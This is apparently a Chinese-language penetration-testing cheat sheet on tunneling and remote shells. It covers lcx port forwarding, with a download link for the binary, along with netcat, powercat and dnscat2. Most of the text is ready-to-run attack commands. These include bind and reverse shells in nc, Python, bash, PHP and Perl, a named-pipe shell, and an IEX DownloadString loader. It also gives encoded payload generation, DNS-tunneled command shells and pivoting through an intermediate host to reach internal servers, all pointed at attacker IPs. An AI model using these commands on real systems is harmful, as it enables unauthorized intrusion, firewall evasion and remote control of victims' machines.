'传输层隧道技术'

lcx端口转发

链接:https://pan.baidu.com/s/1nJGr6uWFvZw_6aK8OMACrw
提取码:zcsr

直接可以使用,如无法使用自行编译

将本机4444端口监听的所有数据发送到本机5555端口
./lcx -listen 4444 5555
将目标机内网端口转发到公网
./lcx -slave 192.168.1.137 4444 127.0.0.1 3389
(先监听再进行通信)

端口映射:
由于目标防火墙限制,我们可以将目标服务器相应端口的数据传到其他允许防火墙通过的端口(如53)
./lcx -tran 53 192.168.1.1 22

netcat

1、安装

1
2
3
4
5
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make

windows版本的nc。在禁用-e远程执行选项的情况下编译的版本。
https://joncraton.org/files/nc111nt.zip
https://joncraton.org/files/nc111nt_safe.zip

2、帮助信息速查表

nc -h 查看帮助信息
-d: 后台模式
-e: 程序重定向
-g<网关>: 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。
-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址(不通过域名服务器)
-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p<通信端口>: 设置本机使用的通信端口
-r: 随机指定本机与远程主机的通信端口
-s<源地址>: 设置本机送出数据包的IP地址
-u: 使用UDP传输协议
-v: 详细输出
-w<超时秒数>:设置等待连线的时间
-z: 将输入/输出功能关闭,只在扫描通信端口时使用

3、使用

(1) banner相关信息抓取
nc -nv 192.168.123.103 22

(2) 连接远程主机
nc -nvv 192.168.123.103 80

(3) 端口扫描
扫描指定端口
nc -v 192.168.123.103 80
扫描端口段(速度很慢)
nc -v -z 192.168.123.103 20-1024

(4)监听端口
监听本地端口,当访问该端口时会输出该信息到命令行
nc -lp 999

(5)文件传输
传输一个名为test.txt的文本文件
nc -vn 192.168.1.1 333 < test.txt -q 1

监听,将接受到的数据放到1.txt
nc -lp 333 > 1.txt
传输完成后,打开1.txt,可看到数据已经传输过来

(6)简易聊天
nc -l -p 888
nc -vn 192.168.1.1 888

4、获取shell

(1)正向shell
客户端连接服务器,客户端获取服务器的shell。(目标机监听,攻击机连接)
目标机命令:
nc -lvp 4444 -e /bin/sh 在linux中使用
nc -lvp 4444 -e c:\windows\system32\cmd.exe 在win中使用

攻击机命令:
nc 192.168.1.1 4444

可以看到我们执行ifconfig,变成了目标机的IP,即拿到了目标机的shell

(2)反向shell
客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。
(攻击机监听,目标机连接)
攻击机命令:
nc -lvp 999

目标机:
nc 192.168.1.1 999 -e /bin/sh 在linux中使用
nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe 在win中使用

5、目标机无nc时获取反向shell

(1)python反向shell

1
2
3
4
5
攻击机:
nc -lvp 2222

目标机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.136.129",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


(2)bash反向shell

1
2
3
4
5
攻击机:
nc -lvp 4444

目标机:
bash -i >& /dev/tcp/192.168.136.129/4444 0>&1

(3)PHP反向shell

1
2
3
4
5
攻击机:
nc -lvp 3333

目标机:
php -r '$sock=fsockopen("192.168.136.129",3333);exec("/bin/sh -i <&3 >&3 2>&3");'


(4)perl反向shell

攻击机:
nc -lvp 5555

目标机:

1
perl -e 'use Socket;$i="192.168.136.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

(5)内网代理
环境:kali无法访问数据库服务器,但是可以通过web服务器访问数据库服务器
拓扑环境
kali执行:
nc -lvp 3333
数据库执行:
nc -lvp 3333 -e /bin/sh
web服务器执行:
nc -v 192.168.1.4 3333 -c “nc -v 1.1.1.200 3333”

原理:把web服务器当作中间机,使kali与数据库通信

(6)技巧之’/‘符号绕过(文件传输与python反向shell结合)(来自"熊猫人"的思路)
反弹shell大全http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
前提:靶机可以执行nc和pyhon
要想反弹shell成功,很大程度上需要’/‘符号,但是有些网站,bp发过去的’/'不起作用。

利用nc的传输文件:
nc -lnvp 5555 < cmd
nc localhost 5555 可查看cmd文件内容
cmd的内容如下

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.141",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

1
2
3
4
5
攻击机执行:
nc -lnvp 10000 < cmd 如果shell反弹不回去,关掉这部分
nc -lnvp 1234
目标机执行:
nc 192.168.136.129 10000 | python

(7)对于不支持nc -e参数,使用以下命令或使用其他版本nc

1
2
3
4
攻击机:
nc -lvp 1024
目标机:
nc.traditional 192.168.37.132 1024 -e /bin/sh

(8)配合命名管道进行反弹

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 192.168.37.132 1024 >/tmp/f

(9)使用exec反弹

1
0<&196;exec 196<>/dev/tcp/192.168.37.132/1024; sh <&196 >&196 2>&196

powercat(相当于powershell版nc)

1、安装

git clone https://github.com/besimorhino/powercat.git
下载后,导入模块,可能会出现异常
Import-Module .\powercat.ps1
权限不足导致,直接使用命令修改权限
Set-ExecutionPolicy RemoteSigned
再次执行Import-Module .\powercat.ps1
输入powercat -h 可查看帮助信息即安装完成

2、通过nc正向连接powercat

目标机执行:
powercat -l -p 8080 -e cmd.exe -v

攻击机执行:
nc 192.168.136.133 8080 -vv

命令:
-l:监听模式
-p:指定端口
-e:指定启动进程的名称
-v:显示详情

3、通过nc反向连接powercat

攻击机:
nc -l -p 8888 -vv
目标机:
powercat -c 192.168.136.129 -p 8888 -v -e cmd.exe

4、通过powercat返回powershell

目标机:
powershell
IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.37.132:8000/powercat.ps1’)
powercat -l -p 9999 -v

攻击机(ep参数用于返回powershell):
powercat -c 192.168.37.133 -p 9999 -v -ep

5、通过powercat传输文件

powercat -l -p 9999 -of test.txt -v
powercat -c 192.168.136.133 -p 9999 -i c:\test.txt -v
Get-Content test.txt 查看内容
-i:输入,可写文件名,可以添加字符串,如”“I am test” | powercat -c …“。
-of:输出文件名,可以在文件名前添加路径

6、用powercat生成payload

(1)反弹shell
生成pyload:
powercat -l 8000 -e cmd -v -g >> shell.ps1
将shell.ps1上传到目标机并执行,然后攻击机执行以下命令,即可获得shell
powercat -c 192.168.136.133 -p 8000 -v


如果想反弹powershell,使用以下命令
powercat -l -p 8000 -ep -v -g >> shell2.ps1

(2)编码过后的paylaod
powercat -c 192.168.136.133 -p 9999 -ep -ge
攻击机执行:
powercat -l -p 9999 -v

-g:生成payload
-ge:生成编码的payload,可以直接使用"powershell -E <编码>" 命令

7、powercat DNS通信

(1)安装
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
(2)使用
攻击机执行:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
通过session -i (id) 来调用某一个shell

目标机执行:
powercat -c 192.168.136.129 -p 53 -dns ttpowercat.test -e cmd.exe

8、将powercat作为跳板

kali:攻击机
2008:目标机
win7:跳板机

在server2008中执行:
powercat -l -v -p 9999 -e cmd.exe
win7执行:
powercat -l -v -p 8000 -r tcp:10.10.10.129:9999
kali执行:
nc 192.168.56.130 8000 -v

也可以使用DNS协议
win7执行:
powercat -l -p 8000 -r dns:192.168.56.129::ttpowercat.test
kali执行:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
server2008执行:
powercat -c -10.10.10.128 -p 8000 -v -e cmd.exe